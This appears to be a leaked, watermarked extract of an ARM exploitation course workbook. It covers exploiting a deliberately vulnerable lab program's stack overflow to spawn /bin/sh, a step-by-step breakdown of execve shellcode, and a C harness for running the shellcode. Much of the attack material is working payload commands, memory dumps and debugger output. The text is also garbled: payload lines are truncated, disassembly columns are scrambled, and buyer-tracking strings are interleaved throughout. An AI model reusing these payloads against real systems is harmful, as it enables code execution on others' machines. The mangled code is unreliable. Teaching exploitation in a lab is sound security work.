"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "BBBB"')
[+] Processing 0x65 type
[-] Performing memcpy

Breakpoint 1, 0x0001054c in process_tlv ()


(gdb)
24356915
We hit our breakpoint. Now, lets dump some data starting at the stack pointer and look for our shellcode in memory. We
are looking for the following bytes that we pasted into our input.

"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd

 Note Paul Erwin


Recall that "x/40wx $sp" command tells gdb to examine (x) 40 words (w) of memory in hexadecimal format (x) starting at the
address stored in the stack pointer ($sp) register.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) x/40wx $sp
0xbefff3c0: 0x00000076
0xbefff3d0: 0x0007eb98
0x0007fdd0
0x6474e551
0xbefff6ec
0x00000001
0x65ff17b4
0xe28f3001
0xbefff3e0: 0xe12fff13 0x30104678 0x900146c0 0x71c11a49
0xbefff3f0: 0x27061a92 0xdf013705 0x6e69622f 0x4168732f
0xbefff400: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff410: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff420: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff430: 0x41414141 0x41414141 0x41414141 0x41414141
0xbefff440: 0x41414141
0xbefff450: 0x2f6e6962
0x42424242
0x68736162
0x45485300
0x44575000
live
0x2f3d4c4c
0x6f682f3d

If we look close, we can see our shellcode in here. Little endian makes it a little bit tricky to spot because the bytes for
each word are in reverse order. We know the shellcode starts with the bytes "01 30 8f e2". If we put each byte in reverse
order for little endian, we can look for 0xe28f3001. See it?

56 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Once we've found it, let's look at it as bytes (instead of words) with the x/bx command and make sure all of our
shellcode bytes are there and that they did not get overwritten. Looking at the output above, we have to add +c to the
address at the beginning of the row where our shellcode was found (0xbefff3d0). This gives us the address where our

09b91222e5d2d3d668cf8e52ec5d35ba
shellcode begins, 0xbefff3dc. The length of the shellcode is 35 bytes, so try the following command.

(gdb) x/35bx 0xbefff3dc


0xbefff3dc: 0x01 0x30 0x8f 0xe2 0x13 0xff 0x2f 0xe1
0xbefff3e4: 0x78 0x46 0x10 0x30 0xc0 0x46 0x01 0x90
0xbefff3ec: 0x49 0x1a 0xc1 0x71 0x92 0x1a 0x06 0x27
0xbefff3f4: 0x05 0x37 0x01 0xdf 0x2f 0x62 0x69 0x6e
0xbefff3fc: 0x2f 0x73 0x68

 Note
micede1865@wii999_com
When dumping bytes they are displayed in the same order that they are stored in memory. This differs from displaying them as
words which reverses the byte order when they are displayed.

24356915
It looks like all of the shellcode is there. We can change our overwritten lr value from 0x42424242 to 0xbefff3dc. If all
goes well, this should execute our shellcode and give us a shell prompt ($).

 Note

We do not need to use a +1, because the first two shellcode instructions are ARM and not THUMB. The breakdown of this shellcode
is done in another lab.
Paul Erwin
Before proceeding, delete all your breakpoints by using the del command in gdb. If you do not, gdb will try to set these
breakpoints in the new process (our /bin/sh shell) and will cause an error.

(gdb) del
Delete all breakpoints? (y or n) y

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) info b
No breakpoints or watchpoints.

In our next run, we will be replacing "BBBB" or "\x42\x42\x42\x42" with the address above that we verified points to our
shellcode, 0xbefff3dc.

 Warning
live
After you run the working exploit in gdb, you should see process X is executing new program: /usr/bin/dash . If you see this
and gdb continues to run, hit ctrl+c and then c to continue. This behavior is because the exploit is running in the debugger.

(gdb) run $(python2 -c 'print "\x65\xff" +


"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd

© Hungry Hackers, LLC 57


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


+ "A"*69 + "\xdc\xf3\xff\xbe"')
Starting program: /home/nemo/labs/tlv/tlv_static $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "\xdc\xf3\xff\xbe"')

09b91222e5d2d3d668cf8e52ec5d35ba
[+] Processing 0x65 type
[-] Performing memcpy
Value: 0���/�xF0�F�I��q��'7�/bin/
shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
process 826 is executing new program: /usr/bin/dash
^C
Program received signal SIGINT, Interrupt.
0xb6fe12fa in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.
$ micede1865@wii999_com
 Success!

Exploiting tlv_static outside of gdb


24356915
If we try to use the same input to exploit tlv_static outside of gdb, we will get a crash.

nemo@mako:~/labs/tlv$ ./tlv_static $(python2 -c 'print "\x65\xff" +


"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "\xdc\xf3\xff\xbe"')
[+] Processing 0x65 type
[-] Performing memcpy
Value: 0���/�xF0�F�I��q��'7�/bin/ Paul Erwin
shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Illegal instruction (core dumped)

Even though we use the same input that worked in gdb, the program crashes because the stack alignment is different
when it is executed from the command line.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
To find the address of our shellcode on the stack, we can analyze a core dump. In the mako vm, core dump files get saved
in the /coredumps folder. Anytime one of our lab programs crashes, a core file gets saved in this folder.

We can view core files using gdb (gdb -c ) or in objdump. We will use objdump since it is a quick way to view the full
contents of the core file.

live
Our goal is to find the address of our shellcode on the stack. In gdb, we used the address 0xbefff3dc. The core file that
gets saved in /coredumps is an accurate representation of where our shellcode will be located when we run the program
from the command line vs in a debugger.

58 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

Your coredump file will have a different name.

09b91222e5d2d3d668cf8e52ec5d35ba
We will first delete the contents of the /coredumps folder so that we don't confuse our core file with a previous crash.

nemo@mako:~/labs/tlv$ rm /coredumps/*

Next, we will crash the program, using the input that worked in gdb.

micede1865@wii999_com
nemo@mako:~/labs/tlv$ ./tlv_static $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "\xdc\xf3\xff\xbe"')
[+] Processing 0x65 type
[-] Performing memcpy
Value: 0���/�xF0�F�I��q��'7�/bin/
shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Illegal instruction (core dumped)

24356915
A new core file has been generated in /coredumps. Your file name will vary.

nemo@mako:~/labs/tlv$ ls /coredumps/
core-tlv_static-4-1000-1000-5434-1622032111

Then we will use objdump -s <corefile> to view the core file, looking for the address where our shellcode starts. Look
Paul Erwin
for a bunch of consecutive A's and the shellcode should be nearby. Remember that it starts with 01 30 8f e2.

nemo@mako:~/labs/tlv$ objdump -s /coredumps/core-tlv_static-4-1000-1000-5434-1622032111


...

A lot of output will scroll by. Look for the A's with grep or by scrolling up. If scrolling up, stop at the second instance you

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
find, it should look something like this.

befff410 98eb0700 51e57464 01000000 01308fe2 ....Q.td.....0..


befff420 13ff2fe1 78461030 c0460190 491ac171 ../.xF.0.F..I..q
befff430 921a0627 053701df 2f62696e 2f736841 ...'.7../bin/shA
befff440 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
befff450 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
befff460 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
befff470
befff480
41414141
41414141
41414141
dcf3ffbe
41414141
00534845
41414141
4c4c3d2f live
AAAAAAAAAAAAAAAA
AAAA.....SHELL=/

Here we see the start of the shellcode (01 30 8f e2) at 0xbefff41c. The address may vary on your system.

© Hungry Hackers, LLC 59


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


When exploiting from the command line, we will replace 0xbefff3dc (seen following the A's) with 0xbefff41c. Again,
0xbefff3dc worked inside the debugger, but the stack alignment is slightly different outside the debugger, so the new
address 0xbefff41c is the location of our shellcode when the program is ran outside the debugger. Lets give it a try.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/tlv$ ./tlv_static $(python2 -c 'print "\x65\xff" +
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x10\x30\xc0\x46\x01\x90\x49\x1a\xc1\x71\x92\x1a\x06\x27\x05\x37\x01\xd
+ "A"*69 + "\x1c\xf4\xff\xbe"')
[+] Processing 0x65 type
[-] Performing memcpy
Value: 0���/�xF0�F�I��q��'7�/bin/
shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���
$

Success!
micede1865@wii999_com
Summary

When developing an exploit, you need to ensure that your input will reach the target code area. In this lab we had to format
24356915
our input to match what was expected by the process_tlv function. Since this program allows for code to be executed on
the stack, we supplied a payload to execute a shell. Using the debugger, we determined the location of our shellcode,
giving us an address to redirect to.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

60 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 5: Shellcode

09b91222e5d2d3d668cf8e52ec5d35ba
Background

Once we gain control of execution, the next step is usually to establish further access. If we deliver custom code, this
usually comes in the form of shellcode. If we are attacking a common target in a test environment, it may be sufficient to
download and throw shellcode from the internet. However, knowing how it works allows us to have confidence in what we
are delivering to a target and allows us to make changes if necessary.

Objectives
micede1865@wii999_com
• Reviewing and understanding the assembly instructions for sample shellcode

• Assembling object files

24356915
• Viewing and dumping object files to verify and abstract shellcode

• Running sample shellcode

Lab Preparation

 Note

This lab will be done in the mako vm.


Paul Erwin
Accessing the mako vm

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Login to the hammerhead virtual machine using the credentials below.

• User: nemo

• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

live
• While in the terminator window console, navigate to the ~/qemu/mako folder.

• Use the command sudo start_mako.sh to start the mako virtual machine.

• When prompted, use the password: nemo

nemo@hammerhead:~$ cd qemu/mako

© Hungry Hackers, LLC 61


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh
[sudo] password for nemo:

• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux

09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.

micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0

mako login:

• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the mako vm.


24356915
• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/mako$ ssh mako


nemo@192.168.2.10's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@mako:~$

Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

Lab start - Shellcode breakdown

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Let's review some sample shellcode. The code snippet below shows a column of memory addresses followed by a
column of bytes that make up the instructions, and finally the assembly instructions that the bytes represent.

0x11000000 e28f3001 add r3, pc, #1


0x11000004 e12fff13 bx r3
0x11000008 4678 mov r0, pc
0x1100000a 300c adds r0, #12
0x1100000c
0x1100000e
0x11000010
46c0
9001
1a49
nop
str
subs
live
(mov r8, r8)
r0, [sp, #4]
r1, r1, r1
0x11000012 1a92 subs r2, r2, r2
0x11000014 270b movs r7, #11
0x11000016 df01 svc 1
0x11000018 622f str r7, [r5, #32]
0x1100001a 6e69 ldr r1, [r5, #100]

62 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0x1100001c 732f strb r7, [r5, #12]
0x1100001e 0068 lsls r0, r5, #1

These instructions produce shellcode that simply opens a command prompt (/bin/sh). The original file that these

09b91222e5d2d3d668cf8e52ec5d35ba
instructions were derived from can be found on shell-storm.org, a popular site with lots of samples for various
architectures.

http://shell-storm.org/shellcode/files/shellcode-696.php

Since we have already gone over some basic assembly instructions, we have almost everything we need to understand
these instructions. The addresses in the listing are arbitrary, but they help provide a more complete picture of the

micede1865@wii999_com
shellcode's functionality. Often you will not know the address where your shellcode will land without some in-depth
understanding of your target process.

Let's break these instructions down a few at a time.

0x11000000 e28f3001 add r3, pc, #1


0x11000004 e12fff13 bx r3
0x11000008
0x1100000a
0x1100000c
4678
300c
46c0
mov
adds
nop
24356915
r0, pc
r0, #12
(mov r8, r8)

The second column in the output shows the opcodes (bytes) that make up the instructions. These opcodes are not
present in the original assembly file, but are shown here as an example and are a result of translating the assembly
instructions into machine code.

Paul Erwin
One of the first things we notice is that the first 2 instructions are 4 bytes in width. This means they are ARM instructions.
The add r3, pc, #1 instruction gets the value of pc and adds 1 to it.

When writing ARM assembly instructions, pc is translated as the address of the second instruction from the current
instruction. In this example with the add r3, pc #1 instruction, pc holds the value 0x11000008.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
 Note

This step is important because at first we don't know any absolute addresses, by getting the value of pc, we get an absolute
address that we can add or subtract offsets from. This makes our shellcode "position independent".

If we add 1 to pc, this address r3 will hold 0x11000009.

live
When the bx r3 instruction executes, this will transition the processor into THUMB mode. Recall that adding +1 to a
destination indicates the destination will be THUMB instructions.

We also see that the instructions change from 4 byte width to 2 byte which indicates they are THUMB instructions.

© Hungry Hackers, LLC 63


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The next instruction, mov r0, pc , moves pc into r0. Again, pc is the address of the second instruction from the current
instruction. This instruction will save the address 0x1100000c into r0.

The adds r0, #12 instruction adds 12 (0xc) to r0. This will result in the value 0x11000018 being stored in r0. This
09b91222e5d2d3d668cf8e52ec5d35ba
address points to our "/bin/sh" string. It may not look like an ascii string, because it is being interpreted as instructions,
but this will be treated as a string during execution.

The nop instruction is not intendend for doing anything useful other than providing alignment.

0x1100000e 9001 str r0, [sp, #4]

micede1865@wii999_com
The next instruction str r0, [sp, #4] stores a pointer to "/bin/sh" onto the stack.

0x11000010 1a49 subs r1, r1, r1


0x11000012 1a92 subs r2, r2, r2

The next 2 instructions are used to store a null byte \x00 into r1 and r2. By subtracting a value from itself, we get 0 and
that 0 is stored back into the register.
24356915
 Note

This is a clever workaround so that we don't have to include null bytes in our shellcode. For example, the instruction mov r1, #0
would contain a null byte. Null bytes can be problematic since they will terminate a string and could cut our shellcode short,
depending on how it's read in.

0x11000014 270b movs


Paul Erwin
r7, #11
0x11000016 df01 svc 1

The next 2 instructions are used to make a supervisor call (svc).

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The first instruction moves a system call number (11) into r7. This value is used to indicate which system call will be
executed when the system transitions into supervisor mode. The system call number for execve is 11. The svc 1
instruction invokes the transition into supervisor mode.

 Note

The system call numbers will vary between architectures. For example, the system call number for execve will be different on 64-bit
ARM platforms.
live
0x11000018 622f str r7, [r5, #32]
0x1100001a 6e69 ldr r1, [r5, #100]
0x1100001c 732f strb r7, [r5, #12]
0x1100001e 0068 lsls r0, r5, #1

64 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The remaining bytes are translated as instrucions in the snippet above. However, by pointing r0 to the address
0x11000018 as we did earlier, we are telling the system to interpret this as a string when execve is called.

Since this is little endian system, the bytes in the opcodes are reversed. We could write them out like this:
09b91222e5d2d3d668cf8e52ec5d35ba
2f 62 69 6e 2f 73 68 00

We can look these bytes up one at a time using man ascii from the command line or do a quick test in python.

nemo@mako:~$ python
Python 2.7.18 (default, Aug 4 2020, 11:16:42)

micede1865@wii999_com
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
/bin/sh

By having r0 point to these bytes, the execve supervisor call will recognize the /bin/sh string as the first parameter. This
will starts up a shell.

Assembling shellcode
24356915
Here we are using the GNU assembler (as) to assemble the .s file and creating an object file. This transforms our typed up
assembly instructions into a binary format that the operating system understands. We've done this before, but gcc took
care of this for us behind the scenes.

as -o shellcode-696.o shellcode-696.sPaul Erwin


nemo@mako:~/labs/shellcode/asm$ file shellcode-696.o
shellcode-696.o: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), not stripped

We now have a valid object file that Linux can undersand and link with other object files.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Linking shellcode for testing

We can also link our shellcode to test it. We use the -N option to enable writing to the text segment.

nemo@mako:~/labs/shellcode/asm$ ld -N shellcode-696.o -o shellcode-696

nemo@mako:~/labs/shellcode/asm$ ./shellcode-696
$ live

© Hungry Hackers, LLC 65


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Using objdump to dump assembly

The objdump tool can display our assembly instructions in the object (.o) file. This can be useful for verifying that the

09b91222e5d2d3d668cf8e52ec5d35ba
assembly we wrote in our .s file gets assembled the way we expect it to and to help ensure that we don't have any issues
with our alignment.

nemo@mako:~/labs/shellcode/asm$ objdump -d ./shellcode-696.o

./shellcode-696.o: file format elf32-littlearm

micede1865@wii999_com
Disassembly of section .text:

00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 4678 mov r0, pc
a: 300c adds r0, #12
c: 46c0 nop ; (mov r8, r8)
e:
10:
12:
9001
1a49
1a92
str r0,
subs
subs
[sp, #4]
r1, r1, r1
r2, r2, r2
24356915
14: 270b movs r7, #11
16: df01 svc 1
18: 622f str r7, [r5, #32]
1a: 6e69 ldr r1, [r5, #100] ; 0x64
1c: 732f strb r7, [r5, #12]
1e: 0068 lsls
Paul Erwin
r0, r5, #1

Using objcopy to abstract assembly instructions

We use objcopy to extract the assembly instructions we are interested in and save them to a separate file.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
 Note

The .o file is an ELF binary and we don't need the whole file structure, just the object code that represents the assembly instructions
needed for our shellcode.

objcopy -O binary shellcode-696.o shellcode-696.bin

live
Try running the following commands to see the differences between the .o (ELF) file and the resulting binary file. One is a
full ELF file and the other is not.

nemo@mako:~/labs/shellcode/asm$ file shellcode-696.o


nemo@mako:~/labs/shellcode/asm$ file shellcode-696.bin

66 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/shellcode/asm$ xxd shellcode-696.o
nemo@mako:~/labs/shellcode/asm$ xxd shellcode-696.bin

09b91222e5d2d3d668cf8e52ec5d35ba
Getting a hexdump of our shellcode

Next, we want to pull out the bytes that make up our shellcode instructions in a format that can be copied and pasted into
our exploit.

Hexdump for python

micede1865@wii999_com
To get this ready for python scripts, we will need a \x before every two characters. The xxd command allows us to
dump a hexadecimal representation of a file in various formats. The tr and sed programs are command line tools that help
further refine our output.

nemo@mako:~/labs/shellcode/asm$ xxd -ps shellcode-696.bin | tr -d '\n' | sed 's/../\\x&/g'

24356915
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e

The output above, starting with \x01\x30... can be copied and pasted into python and used as our shellcode.

 Note

You can try these commands sequentially using a pipe "|" between them to get a better understanding of how they can be chained
together.
Paul Erwin
• Do a hexdump of the shellcode-696.bin file: xxd -ps shellcode-696.bin

• Delete any newline characters: tr -d \n delete newlines

• Insert '\x' before every set of 2 characters: sed 's/../\\x&/g'

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Hexdump for C code

If we are writing shellcode to be plugged into an exploit written in C, we can use the '-i' parameter for xxd to output a char
array that is ready to be copied and pasted into C.

nemo@mako:~/labs/shellcode/asm$ xxd -i shellcode-696.bin


unsigned char shellcode_bin[] = {
live
0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1, 0x78, 0x46, 0x0c, 0x30,
0xc0, 0x46, 0x01, 0x90, 0x49, 0x1a, 0x92, 0x1a, 0x0b, 0x27, 0x01, 0xdf,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
unsigned int shellcode_bin_len = 32;

© Hungry Hackers, LLC 67


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


C program for testing shellcode

In the ~/labs/shellcode/c folder, there is a C program (execute_shellcode.c) that can be used to test shellcode in the

09b91222e5d2d3d668cf8e52ec5d35ba
virtual machine. If you are executing the shellcode on a different system, you will have to account for and understand
those differences. However, this technique will allow you to test ARM shellcode on your native system.

nemo@mako:~/labs/shellcode/c$ cat execute_shellcode.c

#include <stdio.h>
#include <string.h>

micede1865@wii999_com
// Replace shellcode for testing
unsigned char shellcode[] = {

PASTE YOUR SHELLCODE BYTES HERE


};

void main(void)
{
24356915
// Print the length of the shellcode to the screen
fprintf(stdout, "Length: %d\n", strlen(shellcode));

// Declare shellcode as a function


void (*shellcode_func)() = (void(*)())shellcode;

// Call the shellcode function

}
shellcode_func();
Paul Erwin
 Note

Do not overwrite the name of the shellcode[] variable, just paste in the bytes that were generated from xxd.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The execute_shellcode.c file can be edited inside of the ssh console using nano or vi.

 Note

Since the /home/nemo/labs folder in hammerhead is mapped to the /home/nemo/labs folder in the mako vm, you can edit the /
home/nemo/labs/shellcode/c/execute_shellcode.c file using a graphical text editor in hammerhead.

live
To do this, click on the folder icon in the hammerhead desktop and navigate to labs/shellcode/c. Right click on the
execute_shellcode.c file and click "Open with Text Editor". Make your changes here and then save and exit the file. To avoid any
synchronization issues, it is best practice to exit the file before accessing it again in the mako vm.

68 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/shellcode/c$ cat execute_shellcode.c
#include <stdio.h>
#include <string.h>

09b91222e5d2d3d668cf8e52ec5d35ba
// Replace shellcode for testing
unsigned char shellcode[] = {
0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1, 0x78, 0x46, 0x0c, 0x30,
0xc0, 0x46, 0x01, 0x90, 0x49, 0x1a, 0x92, 0x1a, 0x0b, 0x27, 0x01, 0xdf,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

{ micede1865@wii999_com
void main(void)

// Print the length of the shellcode to the screen


fprintf(stdout, "Length: %d\n", strlen(shellcode));

// Declare shellcode as a function


void (*shellcode_func)() = (void(*)())shellcode;

// Call the shellcode function

}
shellcode_func();
24356915
When compiling execute_shellcode.c , use the following gcc options.

nemo@mako:~/labs/shellcode/c$ gcc -z execstack -fno-stack-protector -o execute_shellcode


execute_shellcode.c

Length: 31
$
Paul Erwin
nemo@mako:~/labs/shellcode/c$ ./execute_shellcode

 (Optional) There are some improvements that can be made to the shellcode we used in this lab. See if you can find them 
and get it to work in the execute_shellcode.c program. (hint below)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The null byte at the very end can be problematic depending on where we insert the shellcode. However, we still need it because it is
being used to terminate the "/bin/sh" string. Try to find a way to put a null byte there using shellcode instructions and without
creating any null bytes in the actual opcodes.

Summary

live
In this lab we analyzed some basic shellcode step-by-step and showed how we can assemble '.s' files using GNU
assembler (as). Using tools like objdump and objcopy, we showed how we can dump or extract the bytes that make up the
shellcode. This is useful for verifying assembly instructions and extracting the bytes needed for our exploit. We also
looked at a basic C code test harness that is useful for troubleshooting shellcode on a local system.

© Hungry Hackers, LLC 69


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Shellcode Challenge

The shellcode-696.s shellcode can be updated to make it more efficient. Try to reduce the number of

09b91222e5d2d3d668cf8e52ec5d35ba
bytes by at least 4. To do this, you will need to modify the shellcode-696.s file, reassemble it, and
extract the necessary bytes. Then, try to execute your modified shellcode in gdb using the verify_pin
exploit from the stack overflow challenge.

Hint:

- There are a couple of ways to do this

micede1865@wii999_com
Challenge Answer Key

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

70 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 5a: Bad Characters

09b91222e5d2d3d668cf8e52ec5d35ba
Background

Certain bytes can be problematic when the target process parses your exploit. This usually happens because some
functions will cut your input buffer short resulting in broken shellcode. Sometimes there is just no getting around the
problem, but other times we can make adjustments to our shellcode and avoid these types of issues.

Objectives micede1865@wii999_com
• Modifying shellcode to avoid certain bytes (0x0b, 0x0c)

• Assembling custom shellcode and extracting the bytes for use in the exploit

Lab Preparation
24356915
 Note

This lab will be done in the mako vm.

Accessing the mako vm Paul Erwin


• Login to the hammerhead virtual machine using the credentials below.

• User: nemo

• Password: nemo

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

• While in the terminator window console, navigate to the ~/qemu/mako folder.

• Use the command sudo start_mako.sh to start the mako virtual machine.

• When prompted, use the password: nemo

nemo@hammerhead:~$ cd qemu/mako live

© Hungry Hackers, LLC 71


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh
[sudo] password for nemo:

• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux

09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.

micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0

mako login:

• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the mako vm.


24356915
• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/mako$ ssh mako


nemo@192.168.2.10's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@mako:~$

Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

Review source code

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Let's start by changing into the ~/labs/tlv folder.

nemo@mako:~$ cd labs
nemo@mako:~/labs$ cd tlv
nemo@mako:~/labs/tlv$

We will be attacking the tlv program, targeting case 0x64 in the process_tlv function. This function has an unsafe
implementation of sscanf.
live
nemo@mako:~/labs/tlv$ cat src/tlv.c

...

void process_tlv(unsigned char type, unsigned char len, unsigned char *value) {

72 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


unsigned char buf[100];
char *c1;
char *c2;

09b91222e5d2d3d668cf8e52ec5d35ba
printf("[+] Processing 0x%x type\n", type);

switch (type) {
case 0x66:
printf("[-] Performing strcpy\n");
strcpy(buf, (value+2));
printf("Value: %s\n", buf);
return;

micede1865@wii999_com
case 0x65:
printf("[-] Performing memcpy\n");
memcpy(buf, value+2, len);
buf[len] = '\00';
printf("Value: %s\n", buf);
return;
case 0x64:
printf("[-] Performing sscanf\n");

return;
default:
24356915
sscanf(value, "%c%c%s", &c1, &c2, buf);

printf("Invalid type. Try again.\n");


return;
}
}

The function prototype for sscanf is:


Paul Erwin
int sscanf(const char *str, const char *format, ...);

This function takes input, parses it based on a format string and copies it into the specified output variables.

 Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
For more information on sscanf, run man sscanf from the command line.

In the function above, we see the following:

sscanf(value, "%c%c%s", &c1, &c2, buf);

live
This means sscanf will take in the value variable as input, and parse it based on the format string "%c%c%s".

• Based on this format string, sscanf will take the first %c, (1 byte char) and copy into c1.

• It then takes the next char and copies it into c2, following the pattern of the format string.

• After this, sscanf reads in the rest of the value variable as a string and copies that into the buf variable.

© Hungry Hackers, LLC 73


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The buf variable in the process_tlv function is a char array and only holds 100 bytes of data. Therefore, if we can get
sscanf to parse a string longer than 100 bytes and copy it into buf, we can overflow the char array.

09b91222e5d2d3d668cf8e52ec5d35ba
unsigned char buf[100];

A problem arises when we try to use the shellcode that we used in the previous exploits. This is because the sscanf
